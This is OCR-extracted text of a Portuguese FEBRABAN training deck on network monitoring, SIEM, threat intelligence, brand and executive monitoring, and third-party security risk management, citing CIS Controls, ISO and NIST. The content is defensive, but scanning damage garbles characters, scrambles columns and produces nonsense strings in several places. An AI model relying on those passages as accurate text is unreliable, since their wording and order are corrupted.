alteracdo das configuragcfes padrdo), os sniffers
wireless podem espionar o trafego, capturar
facilmente dados e senhas e entrar e atacar
facilmente a rede.

FEBRABAN
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Implementar solu¢éo de prevencéo de intrus&o de rede:

Implantar uma solucdo de prevencédo de intruséo de rede
Exemplos de implementacdes incluem o uso de um Network Intrusion Prevention System (NIPS) ou servico CSP equivalente.

Implante uma solug&o de prevencéo de intruséo baseada em host em ativos corporativos, quando apropriado e/ou com suporte.
Exemplos de implementag¢des incluem o uso de um cliente Endpoint Detection and Response (EDR) ou agente IPS baseado em host.

@ Os alertas de seguranca gerados por essas solu¢cdes devem ser monitorados continuamente, de modo que as tentativas ou intrusdes reais possam ser
interrompidas e os danos potenciais limitados.



SIEM

Ampliar a capacidade de monitoramento do ambiente sistémico, integrando
o SIEM com diversas fontes de logs:

OFFICE 365

ACTIVE
DIRECTORY

FILE SERVER

CONTROLE DE
ACESSO

IDS/IPS
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O Splunk é uma solucéo de analise de dados com avancados recursos de SIEM que viabiliza
estratégias baseadas em dados, explorando o potencial dos dados corporativos e gerando
informagcBes em tempo real. Sua funcdo é monitorar e processar dados em tempo real,
utilizando sistemas de analise avancados.

O Splunk é alimentado por solugfes IA para seguranca e monitoramento que aceleram a S Iunk >
deteccao, investigacao e resposta. E auxiliado por plataforma que permite o p
compartilhamento de dados, contexto e fluxos de trabalho

O IBM Qradar € uma solucéo de deteccédo e resposta a ameacas cibernéticas, projetada para
unificar a experiéncia do analista de seguranca da informacéo e acelerar sua velocidade
durante todo o ciclo de vida de incidentes.

E uma solucéo SIEM que oferece uma ampla gama de funcionalidades para monitoramento
de eventos e deteccao de ameacas. Ele utiliza a analise comportamental para identificar
padrbes suspeitos e possui uma interface intuitiva que facilita a visualizagéo e a andlise dos
dados de seguranca.




Mais algumas Boas Praticas...

A seguir sdo apresentadas algumas praticas recomendadas para 0 monitoramento e a defesa de rede da sua empresa:

*Implemente uma arquitetura de seguranca em camadas, com firewalls, IDS/IPS, antivirus e criptografia.

*Estabeleca politicas claras de seguranca e treine seus funcionarios sobre boas praticas de seguranca cibernética.

*Realize testes de penetracéo regulares para identificar vulnerabilidades na rede e aplique as correcoes.

*Tenha um plano de resposta a incidentes para agir rapidamente em caso de atagues ou violagdes de seguranca.

FEBRABAN



Threat Intelligence
Contexto

FEDERAGAO
BRASILEIRA
DE BANCOS




Agentes de Ameacas FEBRABAN

Atualmente, existem muitos tipos de agentes de ameacas, todos com atributos, motivacdes, niveis de habilidade e taticas variados. Alguns dos tipos mais comuns de
agentes de ameacas incluem hacktivistas, agentes de estados-nacao, cibercriminosos, cacadores de adrenalina, agentes de ameacas internas e
ciberterroristas.
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A inteligéncia de ameacas ou “Threat Intelligence” é processo de coleta de informacdes detalhadas sobre ameagas que visam prevenir e combater possiveis
incidentes de seguranca cibernética que entornam uma organizacao. A inteligéncia de ameacas auxilia organizacdes para obter informacdes relevantes em tomadas de

decisoes.

Inclusdo da inteligéncia de ameacas cibernéticas

Boas praticas relacionadas a aplicacédo da inteligéncia de ameacas:
aplicadas de forma integrada em analises.

Monitore constantemente as fontes de Fazer uso da inteligéncia de ameacas para
inteligéncia de ameacas em relacdo a manter a conscientizacdo dos tipos de atores
crescentes vulnerabilidades e tecnologias mais provaveis de realizar ataques focados em
emergentes. sua organizagdo e os TTPs que eles podem

utilizar.

Utilizar a inteligéncia de ameacas para
auxiliar na correlacdo de analise de logs.

Configure ferramentas de ciberseguranca
e tecnologias de deteccéo ou capacidades
de resposta para ingerir informacoes de
inteligéncia de ameacas. Utilizar inteligéncia de ameacas em andlises de log para
aprimorar a precisdo de deteccao e caracteristicas de atores,
seus métodos e indicadores.




Beneficios da aplicacéo de Inteligéncia de Ameacas

Identificacdo de
ameacas de
componentes
criticos a uma
organizacéo

Investimentos de
seguranca para
resposta ao
mapa de
ameacas

Fortalecimento
da comunidade e
compartilhamento

de informacgdes

Foco na
efetividade do
monitoramento,
deteccéo e
iniciativas de
respostas

Fornece direcéo
de resposta e
auxilia em
tomada de
decisbes

FEBRABAN
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Inteligéncia de ameacas deve ser As atividades de inteligéncia de ameagas = A organizag&o deve compartilhar a
analisada e entdo utilizada: devem conter: inteligéncia de ameacas com outras
organizacdes constantemente
= Para implementar processos e incluir Estabelecer objetivos para a producéo visando contribuir com a prevencéo e
informacao coletada de fontes de de inteligéncia de ameagas; conscientizacédo geral
inteligéncia de ameagas aos Identificar, vetorizar e selecionar fontes
gir?(g}:;grsa?\zf Sgair:]%armgggofde f1sco de informagdes intemas e externas = OrganizagGes podem usar a
necessarias e apropriadas para inteligéncia de ameaca para
Como input & prevengao técnica e Alle de~n SETs 0s re_qgisit_es para a prevencgo, detecgéo ou~resposta a
controles de deteccao como firewalls, producéo de inteligéncia de ameacas; ameagcas. As_ 0[gar1|za<;oes podem
deteccao de intrusdo em Sistema ou , ~ produzw IHENESMEENE SEUTETE, i
solucBes anti-malware. Coletar lnformagao de fontes é comum receber e fazer uso de
selecionadas; informacdes produzidas por outras
: e fontes.
Como input as técnicas de teste e Processar informacdes coletadas para
Processos de Seguranca da a realizagao de andlise (tradugéo, = A Inteligéncia de ameacas é
informagao formatac&o); produzida por fontes independentes,
Andlise da informacéo para agencias governamentf_:lis . Byt
grupos/plataformas de inteligéncia de

compreenséao do impacto e relacdo
com a organizacao.

ameagcas coletivas.




Meéetodos de Pesquisa

Monitoramento Deep e Dark Web
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Ameacas Direcionadas

Malwares

Ativos e Tecnologia

Ativos e Servigos
Expostos
Ataques

Tecnologias Vulneraveis )
Planejados

Campanhas de
Phishing Informacdes e
Documentos
sensiveis

~
L

Perfis falsos

em redes Vazamento de
sociais Credenciais
Abuso de Marca
APPs e sites
falsos ou Informacbes Expostas

maliciosos



Inteligéncia de
ameaca pode ser
dividida em trés
camadas que devem
ser consideradas:

Inteligéncia de
ameacas deve
conter:

Estratégia de inteligéncia de ameaca: troca de informacdes relevantes sobre possiveis atualizagdes do

cenario da ameaca (ex: tipos de ataques ou atacantes).
Téticas de inteligéncia de ameacas: Informacdes sobre metodologias do atacante, ferramentas e

tecnologias envolvidas.
Inteligéncia de ameacas operacional: detalhes sobre ataques especificos, incluindo indicadores técnicos.

Relevancia (relacionadas diretamente a protecao da organiza¢éo)

Insights (atribuir uma compreensao fiel e detalhada do cenario da ameaca a organizacéo)

Contexto, para conscientizacao (incluir contexto as informacdes baseando-se em tempo dos eventos,
onde ocorreram, experiéncias anteriores e ocorréncias em organizagdes similares)

Acdes (para que a organizacao possa atuar com as informacdes de forma répida e efetiva)

FEBRABAN




® Monitoramento na internet, buscando por

FEBRABAN

® @ @ ©®

informagdes sensiveis ou confidenciais
pertencentes a sua organizagao,
funcionérios ou clientes.

Exemplos de exposi¢cdes comumente
detectadas:

® Credenciais expostas em sites ou féruns de

mercados clandestinos
Cadigos de aplicativos expostos e

documentos confidenciais em armazenados

em repositorios.

Informacdes confidenciais divulgadas por
funcionarios em féruns.

Exposicéo de informagfes sensiveis em
sistemas de provedores de servigos
terceirizados e mal protegidos.

Ativos de tecnologia expostos, mal
protegidos e vulneraveis continuam
sendo uma importante porta de
entrada para ataques nas organizacoes
e muitas vezes, através de buscas
especificas é possivel detecta-los
acessiveis ao publico.

Exemplos de sistemas e servigos
comumente detectados:

Bancos de dados mal protegidos,
especialmente com a proliferacdo de
ambientes hospedados em nuvem.
Armazenamento hospedado na nuvem.
Servigos de gerenciamento remoto
expostos.

Dispositivos 10T e OT mal protegidos.

Atacantes visam as organizacdes por
motivos variados: oportunismo, financeiro,
geopolitico, ideoldgico, etc.

O monitoramento detecta indicacdes de

ameacas planejadas ou realizadas que

visam especificamente sua organizagao.

Exemplos de ameacas direcionadas
comumente detectados:

Planejamento de ataques.

IndicagOes de comprometimento bem-
sucedido.

Infraestrutura configurada para ataques
contra sua organizagao.

E-mails de phishing destinados a seus
funcionarios ou clientes.

Ferramentas de ataque e malware
personalizados.

A confiabilidade de sua marca esta
diretamente ligada a reputagéo
construida.

O monitoramento busca por atividades
envolvendo o uso indevido da marca de
sua organizacao e subsidiarias.

Exemplos de fraudes comumente
detectados:

Apps maliciosos.

Perfis falsos em redes sociais.
Campanhas de phishing.
Malwares vinculados.

Noticias falsas.



Protecao da Marca da Organizacao FEBRABAN

Processo Inicial Monitoramento e Analises NotificacOes e Relatorios

Perfil da organizag&o

—————

. Metodologia

7’

Updates :" ‘

Periodicos {‘ Acompanhamento via
\\ /

______

Portal/Interface

) N Notificagdes via E-mail
Monitoragdo

Triagem Andlise
Definicdo de fontes de

dados

® ® O

Reportes periodicos



. - .~ ) , Pesquisa em Redes Sociais
Para as grandes organizacdes, com alta exposicdo de seus executivos, €

recomendavel o monitoramento de ameacas digitais focada nos principais executivos
da Organizacgao, incluindo por exemplo: (U

Threat Hunting

Andlise de sites, blogs, féruns e redes sociais em busca de ameacgas, sejam Executive
planejadas, iminentes ou em tempo real. Threat Monitor

® Reputacdo online — pessoal e corporativo () Entrevista Individuais

Superexposicao de informacdes — pessoal e corporativo

Threat
Uso indevido dos nomes dos executivos Management Takedown

Roubo de identidade Reputacdo

Online

Perfis fraudulentos em redes sociais Cyber
. Response

Nivel de exposicdo

Ataques de phishing

Reporte de possivel
vazamento

FEBRABAN



Ferramentas de Inteligéncia de Ameacas FEBRABAN

$,

Threat Sharing
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Takedown € uma solicitacdo de remocao rapida de contetdo indevido ou fraudulento que pode impactar negativamente a imagem de uma Organizagao.

Dominios ilegitimos, links e sites de Phishing

Sistemas de terceiros expondo informagdes confidenciais
da Organizacao

18 B B

Aplicativos e plataformas falsas ou maliciosos para
dispositivos méveis

Conteudo fraudulento referenciando as marcas da
Organizacao

Aprimoramento dos Indicadores de Comprometimento —
IOC (exemplos: IP maliciosos, assinaturas de malware e
padrbes de comportamento de ameacas)
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Para apoiar no entendimento e implementacdo de toda a metodologia apresentada neste material, a seguir sdo apresentados as normas e
frameworks de referéncia no tema:

Frameworks Padrao Utilizados

INTERNATIONAL ISO/IEC

NORMA ABNT NBR STANDARD 27002
BRASILEIRA ISO/IEC

27701 =

COMPLIANT s = - ) .
dirtrizes National Institute of
Standards and Technology

Primeira ed:
n: ity
'
Técnicas de seguranga —
., Extens@o da ABNT NBR ISO/IEC 27001 e
ABNT NBR ISO/IEC 27002 para gestdo da
and

R

Conformidade: Requisitos de conformidade mais exigentes, permitindo estimar o nivel de conformidade com ABNT NBR ISO, PCI-DSS, NIST, entre outros
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Agora que aprendemos sobre as atividades relacionadas a Monitoramento e Defesa da Rede, relembre os principais termos e conceitos
apresentados neste material:

Seguranca em Endpoint e redes terceiras: E 0o conjunto de préaticas e tecnologias que protegem os dispositivos dos usuarios finais, como desktops,
celulares contra possiveis ameacas. As organizacdes devem proteger esses dispositivos para evitar o acesso ndo autorizado, uso por terceiros e a invasao
na rede, aplicacdes e armazenamento de dados.

Alertas de eventos de seguranca: O monitoramento e analise em tempo real de eventos de seguranca e alertas € de grande importancia no
monitoramento de redes pois possibilita uma visdo centralizada do mapa de ameacas, identifica e responde a ameacas em tempo real, realiza relatorios e
auxilia na solugao de problemas de seguranga e vulnerabilidade.

Protecdo de intruséo de rede: A prevencao de intrusdo monitora o trafego da rede em busca de possiveis ameacas e as blogueia automaticamente,
alertando a equipe de seguranca, terminando conexdes perigosas, removendo conteido malicioso ou acionando outros dispositivos de seguranca.

Coletade Logs: A coleta de Logs € um processo fundamental na protecdo e monitoramento de redes pois estes registros possuem importantes
informac@es de funcionamento de sistema, deteccao, identificacdo de fatores e possiveis problemas ou ameacas, mapeando todas as atividades ou
eventos ocorridos dentro de um sistema.
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Requisitos — Gestao de Provedor de Servigos FEBRABAN

Este material foi elaborado de acordo com as diretrizes do CIS Controls, bem como foi considerado os requisitos de seguranca da informacao relacionados ao tema de

IST ISO 27701

acordo com as normas e frameworks apresentado abaixo:

ISO 27001

CIS Controls

15.1 Estabelecer e manter um inventario
de provedores de servigcos

15.2 Estabelecer e manter uma politica de
gestdo de provedores de servicos

15.3 Classificar provedores de servigos

15.4 Garantir que os contratos do provedor
de servicos incluam requisitos de
seguranga

15.5 Avaliar provedores de servigos
15.6 Monitorar provedores de servicos

15.7 Descomissionar com seguranca 0s
provedores de servigos

5.19 Seguranca da informagéo em
relacionamentos com fornecedores

5.20 Abordando a segurancga da
informacé&o em acordos com fornecedores

5.21 Gerenciando a seguranca da
informacédo na cadeia de suprimentos de
TIC

5.22 Monitoramento, revisédo e
gerenciamento de mudancas de servicos
de fornecedores

Q
[——]
[——]
[——]

GV.SC-07: Os riscos de um fornecedor,
seus produtos e servicos e outros terceiros
sdo compreendidos, registrados,
priorizados, avaliados, respondidos e
monitorados ao longo do relacionamento

ID.AM-04: Estoques de servigos prestados
por fornecedores sdo mantidos

CM-04: Atividades e servigos de
prestadores de servicos externos sao
monitorados para encontrar eventos
potencialmente adversos

v

+ 6.12.1 Seguranca da informac&o na cadeia
de suprimento

* 6.12.2 Gerenciamento da entrega do
servico do fornecedor
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Casos Reals de Incidentes

FEBRABAN

W incidentes

Bank of America tem dados roubados apoés hack a

fornecedor

Fonte: https://www.cisoadvisor.com.br/bank-of-america-tem-dados-violados-apos-invasao-de-fornecedor/

Ataque cibernético fechou todas as fabricas
da Toyota no Japao por um dia

Atividade deve ser retomada nesta quarta (2); ciberataque atingiu fornecedor da gigante
montadora e afetou a produgao de 13 mil veiculos

Satoshi Sugiyama, Maki Shiraki e Tim Kelly, da Reuters em Toquio
01/03/2022 as 08:27 | Atualizado 13/12/2023 as 17:06

TOYOT

Fonte: https://www.cnnbrasil.com.br/auto/ataque-cibemetico-fechou-todas-as-fabricas-da-toyota-no-japao-por-um-dia/

WCiberataque

Falha de fornecedor permitiu acesso a dados do
KeyBank

Fonte: https://www.cisoadvisor.com.br/falha-de-fornecedor-permitiu-acesso-a-dados-do-keybank/
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Incidentes recentes destacam ainda mais o0s riscos significativos que estdo ocultos no ecossistema

\\\Iu: 1
Al mag_done
} Il done
#\
- S/

v eaK, B
oy aly name
mov ecx, 0
mov edx,
Int Ox8O t

mov [fd_tnl cox

Roubo de dados mantidos ou gerenciados por Crises de reputacéo que surgem de experiéncias
terceiros negativas do cliente

Multas e litigios resultantes de acdes movidas
pelos terceiros

\;‘.?‘ "
A (. ‘\3‘
A\ Py -
i
Perdas operacionais resultantes de problemas
HELENTNES

Restricbes impostas por 6rgaos

~ ~ Indisponibilidade de sistemas e servi¢os criticos,
reguladores e alegacdes de corrupcéo

levando a perdas materiais




Custos relacionados a Incidentes FEBRABAN

A exposicéao financeira devido a gestdo inadequada de riscos relacionados a terceiros é estimada em valores elevados . 25% acreditam que o impacto potencial
no preco das acgdes cairia em mais de 10%.*

Potencial impacto no preco das a¢cdes das empresas
relacionado a incidentes graves em terceiros, segundo
respostas de empresas de capital aberto no Brasil.

Exposicéo financeira estimada pela n&o gestdo adequada dos riscos relacionados a
terceiros, ap0s um incidente grave, considerando multas, custos de indeniza¢ao direta e
acoes (em %)

® Maior que U$ 1 bi

3

E Entre U500 M e US$ 1 bi

" Entre U$ 100M e U$ 500M

® Entre U$50M e U$ 100M

® Entre U$ 25M e U$ 50M

" Entre U$ 10M e U$ 25M

Mais de 10% de queda nos precos das agdes
Entre 5-10% de queda nos precos das acdes
Até 5% de queda nos precos das acdes
Nenhum impacto relevante

N&o sei/N&o aplicavel

B Entre U$ 1M e U$ 10M

= Menor que U$ 1M

Brasil Global

*Source: Research Deloitte - Third Party Risk Management 2022



Custos relacionados a Incidentes FEBRABAN

Mais da metade (51%) das organizagfes enfrentaram um ou mais incidentes de risco de terceiros desde o inicio da pandemia de COVID-19*

RISCOS COM MAIOR IMPACTO OS RISCOS DIGITAIS SAO A MAIOR PREOCUPACAO OUTROS RISCOS EMERGENTES
r s D

( )

~

41%

dizem que o risco digital & Resiliéncia
uma area prioritaria para o financeira de
TPRM terceiros em tempo

I I real
| 53% | Os riscos digitais surgem quando as organizacoes
I | e suas cadeias de suprimentos adotam novas

56%

Riscos de saude
e seguranca

71%

40%
Riscos Digitais maneiras de automatizar o trabalho. Diversidade e

incluséo
________ - Os riscos digitais especificamente destacados
incluem:
53% « Incapacidade de detectar oportunidades e 38%
ameacas de terceiros em tempo real (52%);
@ Continuidade de o Infraestrutura (47%)’ Saude e
negécios «  Cultura (44%) impedindo a implementacao de seguranca
iniciativas tecnolégicas em terceiros.
L J L J 4§ J

*Source: Research Deloitte - Third Party Risk Management 2020
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Governanca de Terceiros

O ecossistema de Terceiros € complexo:

O conceito de empresa estendida é o de que uma
Instituicdo n&o opera isoladamente. Seu sucesso
depende de umarede complexade
relacionamentos entre terceiros.

Fatores-chave

=  Maior nimero de operacgdes criticas e servi¢os de
Tl sendo terceirizados.

=  Fornecedores que utilizam outros terceiros para
execucdao das atividades podem novas camadas
de risco.

= Dependéncias dispersas criam maior confianca e
exposicdo ao risco de entidades fora do seu
controle direto.

= Terceiros que ndo sdo fornecedores continuos sao
raramente incorporados no Gerenciamento de
Risco de Terceiros.

SolugAo de Fomecedores Hospedados .' -

FEBRABAN
AgeresdeVenda
Organismos de . Licenas .
Certificagio T, . Joint !
Laboratérios . Distribuidores
Franquias Ventures f
l Distribuicaoe - . Parceios de Fideldade

Venda

Planejamento hv
de Estoque . P&D

Embarque .1L
Maritimo “Logistica

Canedal-
Fomecedbres e

.

: ASuporte aos

_.I Consumidores . Produtos de
- Esciitorio

e __,. Depésio de Lo
Instalagdes™ . Limpeza

. Fabricacéo por
.. Contrato

Suporte de infraestrutura e ' Contratante
Aplicagdo e

" Tecnologia

oA
P *,

P
. \

§ ..-.--"'--.
' . Prestadores de Beneficio
/ b Seguro Marketing I

“ )
Recuperagio de Desastre . A .

PocessamerbdaFohade
. Agénciade Propaganda Pagpmeno

Soligdes de Fomecedaes
P
Vendas de

Anuncio de Midia



Gestao de Terceiros

FEDERAGAO
BRASILEIRA
DE BANCOS




FEBRABAN

A seguir apresentamos uma abordagem integrada para gerenciar relacionamentos com terceiros, considerando os objetivos de negécio das Instituicdo, bem
como as categorias de relacionamento com terceiros e seus dominios de risco, utilizando tecnologias focadas em otimizar e impulsionar a gestao de riscos.

Estrutura de gerenciamento de risco paraterceiros

Crescimento/Inovagéao

Exemplo de objetivos
comerciais

Exemplo de tipos de Fornecedores .
terceiros o . J

Exemplos de riscos

Experiéncia do cliente

Distribuidoras

Melhor desempenho do
fornecedor

Aliancas

Regulatério

Reputacional

Melhoria no tempo de
colocagdo no mercado

Agentes

Gestédo de Riscos e
Conformidade

Subsidiarias

Estratégico I Seguranca/Tl

|

Financeiro Operacional
Componentes do Modelo
Operacional para Gestédo de

Riscos de Terceiros @ @

L 2
Modelo de Governanga f§ Politicas e Padrdes
Expectativas de lideranga

A estrutura organizacional, v '
para gestéo de terceiros e

comités e funcdes e 5 .
responsabilidades para riscos relacionados

gerenciar terceiros

TPRM Maturity Model

Processos de Gestao
Processos de ponta a
ponta para gerenciamento
de riscos no ciclo de vida
de terceiros

=

Métricas e Relatérios
de Risco
Relatorios que identificam
riscos e desempenho
associados a terceiros,
adaptados a varios niveis
de gestédo

() i

Culturade Risco
Clareza no apetite ao risco,
treinamento e
conscientizagao
adequados para promover
uma cultura de risco
positiva

Ferramentas e
Tecnologia
Ferramentas e Tecnologia
gue permitem processos
de Gestao de Riscos de
Terceiros

Ferramentas e aceleradores
para governanca de terceiros
e gerenciamento de riscos

I. Planejar Il. Identificar ‘ Il. Avaliar IV. Gerir e Monitorar

Verifica¢Bes de
antecedentes
Triagem e
monitoramento de riscos

Monitoramento e Gestao
de Riscos

Termos contratuais e
mitigacdes

Monitoramento de

Avaliacdes e auditorias
planos de acédo

Questionarios de
remotas e/ou in loco

Questionarios de Risco
terceiros

Inerente
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Avaliacao de Seguranca em Terceiros

De acordo com o CIS Controls, € necessario desenvolver um processo para avaliar os provedores de servicos que mantém dados sensiveis, ou séo
responsaveis por plataformas ou processos de Tl criticos de uma empresa, para garantir que esses provedores estejam protegendo essas plataformas e dados de
forma adequada.

Principais controles:

Inventario de A Monitorar provedores
Fornecedores de servigos

Estabeleca e mantenha Monitore os provedores
um inventario de_ N ) Classificar provedores de de Servicos de acordo
provedores de servico. Politica de gestéo de servigos com a politica de gestéo
O inventario deve listar provedores de servi¢gos de provedores de
todos os provedores de Certifique-se de que os servicos da empresa. O
.serv.igos cqnhec[dos, Estabeleca e mantenha uma contratos do provedor de monitoramento pode
mclu!r classificacoes e politica de gestao_de servicos incluem requisitos incluir .ree.lvallagao
designar um contato provedores de servicos. de seguranca, tais como: periédica da
corporativo para cada Certifiqgue-se de que a politica notificacéo e r’esposta de conformidade do
provedor de servicos. trate da classificacao, incidente ou de violagéo de provedor de servigos.

inventario, avaliacéo,
monitoramento e
descomissionamento de
prestadores de servicos.

dados, criptografia de dados
e compromissos de
descarte de dados.
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Objetivo: Fornecer informacdes sob a otica de seguranga da informacdo para a tomada de decisdo na contratacdo ou continuacdo do servigco, bem como apoiar na
metodologia de calculo de risco e na definicdo de controles a serem aplicados durante esse processo.

sy

X

Visibilidade, mensuracéo e Conformidade com leis,
O 1 mitigacdo de riscos de 02 regulamentos e padrdes de
seguranga causados pelos segurancga.
fornecedores, evitando
possiveis impactos a
Instituicao.

Quais os beneficios?

Principais Pontos de Preocupacao

Fornecedores realizam e suportam processos e atividades importantes as

Instituicoes.

As Instituicdes possuem conexfes diretas com diversos fornecedores que, nem

sempre, possuem o mesmo nivel de seguranca interno.

Fornecedores sao alvos de fraudadores para o roubo de informacgdes e tentativas

de intrusao.

Risco relacionado a quarteirizacdo de servigos,

avaliar possiveis

vulnerabilidades no processo de contratacdo de uma empresa externa pela

empresa que presta servigos terceirizados.

Quais as partes interessadas?

@ Times técnicos

Gestores de e/ou de
Contrato projetos
envolvidos

Riscos
Corporativos,
Compliance e

Controles Internos



FEBRABAN

Métodos e Técnicas: Avaliacdo de Seguranga da Informacao:

4 ) 4 )

Avaliagcao dos principais controles
de seguranca da informacao,
baseados nos modelos de operacéo
adotados pela Organizagéo, por
exemplo: Gestdo e Governanca de
Riscos Cibernéticos; Normas e Politicas
de Seguranca; Controle de Acesso,
entre outros. Envio dos questionarios
e interacao fornecedores.

Questionérios (self assessment)

Avaliacéo da postura de seguranga
de fornecedores, por meio de
informacdes na internet, como por
exemplo: Seguranca de Aplicagdes
Web (site ndo impde encriptacéo
HTTPS,; Seguranca da Rede; Cadéncia
dos patche; Seguranca de Endpoint
(browser ou sistema operacional
desatualizado).

Ferramentas

Visita técnica ao fornecedor para
validacdo dos controles, politicas e

\_ J

-

estrutura de seguranca da informacéo.

J

W

Visitas Técnicas
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Avaliacao de Seguranca em Terceiros

Métodos e Técnicas: Coleta de informacdes — Avaliacdo de Terceiros

Dados Publicos

+ Coleta de informacdes em fontes publicas para identificagéo de possiveis riscos derivados do relacionamento com
esse terceiro, bem como Sdcios.

* Analise Juridica, Financeira, Cadastral, Reputacional, Relacionamento com o poder publico e outros quesitos
selecionados pelo cliente.

Dados do Terceiro Dados do Relacionamento

» Coleta de informacgdes disponibilizadas
pelo terceiro a serem analisadas
preliminarmente ao inicio do
relacionamento.

* Coleta de informacdes sobre o tipo
de relacionamento que esse terceiro
terd com a Instituig&o.

* Andlise de situagbes que possam
agravar ou atenuar o risco do
relacionamento, de acordo com as
diretrizes de riscos da Institui¢cdo.

» Envio de questionamentos sobre
situacdes que possam agravar ou
atenuar o risco do relacionamento.

» Obtencdo de documentagao suporte a
tomada de deciséo.




Avaliacao de Seguranca em Terceiros FEBRABAN

Questionarios: Abordagens utilizadas

FORNECEDORES E PARCEIROS ESTRATEGICOS

* Forte dependéncia de infraestrutura com fornecedores estratégicos.

* Forte dependéncia com fornecedores gque tratam (armazenam ou
processam) dados sensiveis

SIMPLIFICADO

» Fornecedores que ndo possuem dependéncias relevantes as
infraestruturas criticas da Instituicdo

* Fornecedores que tratam dados pessoais

FORNECEDORES CRITICOS

* Fornecedores classificados no BACEN, que serdo avaliados através do
guestionario do BACEN, considerando: Identificacdo e Gerenciamento de
Riscos, Confiabilidade e Resiliéncia, entre outros.
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X
Clique no icone ao lado paraacessar -

um template de questionario. Yy Planilha do
Questionarios: Exemplos de topicos de avaliacdes de terceiros — seguranga da informagao Microsoft Excel

Abordagens Exemplo ilustrativo

A empresa possui uma politica de Gestao de Acessos definida? Descreva
como 0s acessos sdo concedidos, se existem aprovagoes, segregacdo de perfi
de acordo com o cargo e fungéo do colaborador. Comente também sobre a Obrigatéria
existéncia de um processo de revisdo periddica de acessos e de revogagao de
privilégios de usuarios por desligamento ou transferéncia.

A empresa possui controles de acesso a rede, aplicagcdes de negdcios e
demais ativos de modo a restringir o acesso a pessoas autorizadas?

Possui uma Politica de Gerenciamento de Vulnerabilidades e atualizagéo de
Gestéo de Vulnerabilidades patches? Descreva o processo e comente sobre as técnicas e ferramentas qug Obrigatoria
lapoiam o processo.

A empresa realiza periodicamente: testes de verificagdo de vulnerabilidades

QU ESTIONARIOS Controle de Acesso

Controle de Acesso Obrigatoria

~ Gestao de Vulnerabilidades nos seus ativos e testes de invasao (pentests) interno e extemo? Sao Obrigatéria
DOCUMENTA QAO lelaborados relatorios gerenciais com indicadores para os planos de acdo?
A empresa possui estrutura (processos, pessoas e tecnologias) para suportar o
Gestao de Incidentes gerenciamento de incidentes de seguranga? Descreva a estrutura e Obrigatoria

responsabilidades.
/A empresa possui processo de aplicagdo de corregdes emergenciais?
Descreva o processo, a existéncia do registro e aprovacdo dos owners.

A empresa possui medidas de prevenc¢éo, detecgdo e tratamento contra

lvazamento de informag8es? Descreva-as. Existe processo formal para

comunicar a divulga¢ao ndo autorizada a um grupo responsavel por lidar com

violacbes de confidencialidade?

A empresa utiliza solugdes criptograficas? Se sim, quais?

Protecao de Dados Foram estabelecidas diretrizes de uso destas tecnologias de criptografia? Obrigatéria

Descreva.

Descreva quais as fontes extemas confiaveis que proveem dados de

Inteligéncia em Ameagas lameacas.(agéncias do governo, informagdes publicas, consultores confiaveis e Obrigatéria

linformacdes compartihadas em féruns)

A empresa possui medidas de seguranga para o gerenciamento do ciclo de

Gestao de ativos de software e  |vida do hardware (avaliagéo, aquisicdo, manutengao e descarte)?

AUDITORIA hardware Adicionalmente, comente a existéncia de processo de reviséo, atualizagéo do

inventario dos ativos e hardening antes do uso.

INTERNA A empresa possui medidas de seguranga adotadas nos seus equipamentos de

Gestédo de ativos de software e  |escritério (impressoras, fax, scanners e multifuncionais), para conter acessos
hardware indevidos, programas ou softwares desnecessarios, além do descarte seguro?

Descreva.

Gestéo de Incidentes Obrigatoria

Protecao de Dados Obrigatéria

ENTREVISTAS

Obrigatéria

Obrigatéria

Observacéao: De acordo com o Artigo 12° da resolugdo 4893: Na avaliacdo da relevancia do servico a ser contratado, mencionada no inciso | do caput, a instituicao
contratante deve considerar a criticidade do servico e a sensibilidade dos dados e das informacdes a serem processados, armazenados e gerenciados pelo contratado.



Avaliacao de Seguranca em Terceiros

Aplicando seguranca da informac¢do em contratos com provedores:

Clausulas gerais
A

FEBRABAN

Classificagéao da Informacéo Prote¢c&o de Dados

Comunicacéao de Incidentes Continuidade dos Negdcios

Controle de Acesso Gestdo de Vulnerabilidades

Conscientizacao Auditoria e Conformidade

Privacidade

Descarte Seguro de Informacdes

Propriedade dos dados

Gestdo de Riscos

Observacao: De acordo com o Artigo 48° da Lei Geral de Protecdo de Dados (LGPD), no juizo de gravidade do incidente, sera avaliada eventual comprovacdo de que
foram adotadas medidas técnicas adequadas que tornem os dados pessoais afetados ininteligiveis, no ambito e nos limites técnicos de seus servicos, para terceiros nao

autorizados a acessa-los.
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Quais sao os riscos?

Compliance

Politicas
/ Legal

i

Resiliéncia e Recuperagéo /\dent | fl Car

Controles de Acessos

Gestdo de Ativos Gestdo de Mudangas

Continuidade

Operacional
P do Negécio

Seguranca Ge rencl al Anti Malware
da Informacéo QF % (:

Treinamento e
Capacitacdo

Resposta a Incidentes

FEBRABAN



Questionério: Cada questdo possui uma classificacédo de risco, baseada na metodologia de riscos corporativos (Vulnerabilidade X impacto).

Fornecedores )

Identificacdo dos
riscos

Analise de Vulnerabilidade
e impacto de materializac&o de riscos

Vulnerabilidade Impacto
Alto Muito alto
Baixo Médio

Baixo

Muito baixo

FEBRABAN

Risco que
necessita
tratamento



Gestao de Riscos de Tercelros FEBRABAN

Termos e Defini¢des:

©

O risco é o efeito da incerteza.

Exemplo:

Potencial exposicdo em caso de vazamento de dados devido a
auséncia de criptografia.
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Termos e Defini¢gdes:

Tentativa deliberada e nao autorizada de acessar ou manipular
informacgdes, ou tornar um sistema inacessivel, ndo integro, ou
indisponivel

Exemplo:

Ameacas Internas: prestadores de servicos e funcionarios.
Ameacas Externas: malwares, engenharia social e hackers.



Termos e Defini¢gdes:

Probabilidade

Representa a possibilidade de que um determinado evento
ocorra.
Exemplo:

Existe uma alta probabilidade de um hacker explorar
vulnerabilidades conhecidas.

FEBRABAN



Gestao de Riscos de Terceliros FEBRABAN

Termos e Defini¢des:

Risco

Ameaca Impacto & a consequéncia de um incidente que afeta os objetivos
Estratégicos da Instituicdo

Probabilidade Exemplo:

Indisponibilidade e/ou comprometimento de aplicacdes e
servidores.

Impacto

Severidade



Gestao de Riscos de Terceliros FEBRABAN

Termos e Defini¢des:

E o resultado da ponderacdo de um risco em relagéo ao seu
impacto e probabilidade. E um sinalizador da importancia e
relevancia do risco para a Institui¢éo..

Probabilidade Exemplo:

Quando a probabilidade é média e o impacto € alto a severidade é

alta.
FW'

Nivel de impacto

Impacto

Muito Alta

Nivel de probabilidade

Severidade

- 7
Média
Baixa
Moo Baine I
Muito Baixo Baixo Médio
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A partir da avaliagéo dos controles (de acordo com 0s questionarios previamente elaborados), torna-se necessario definir o nivel de implementacdo de cada um dos
controles, conforme os niveis apresentados a seguir:

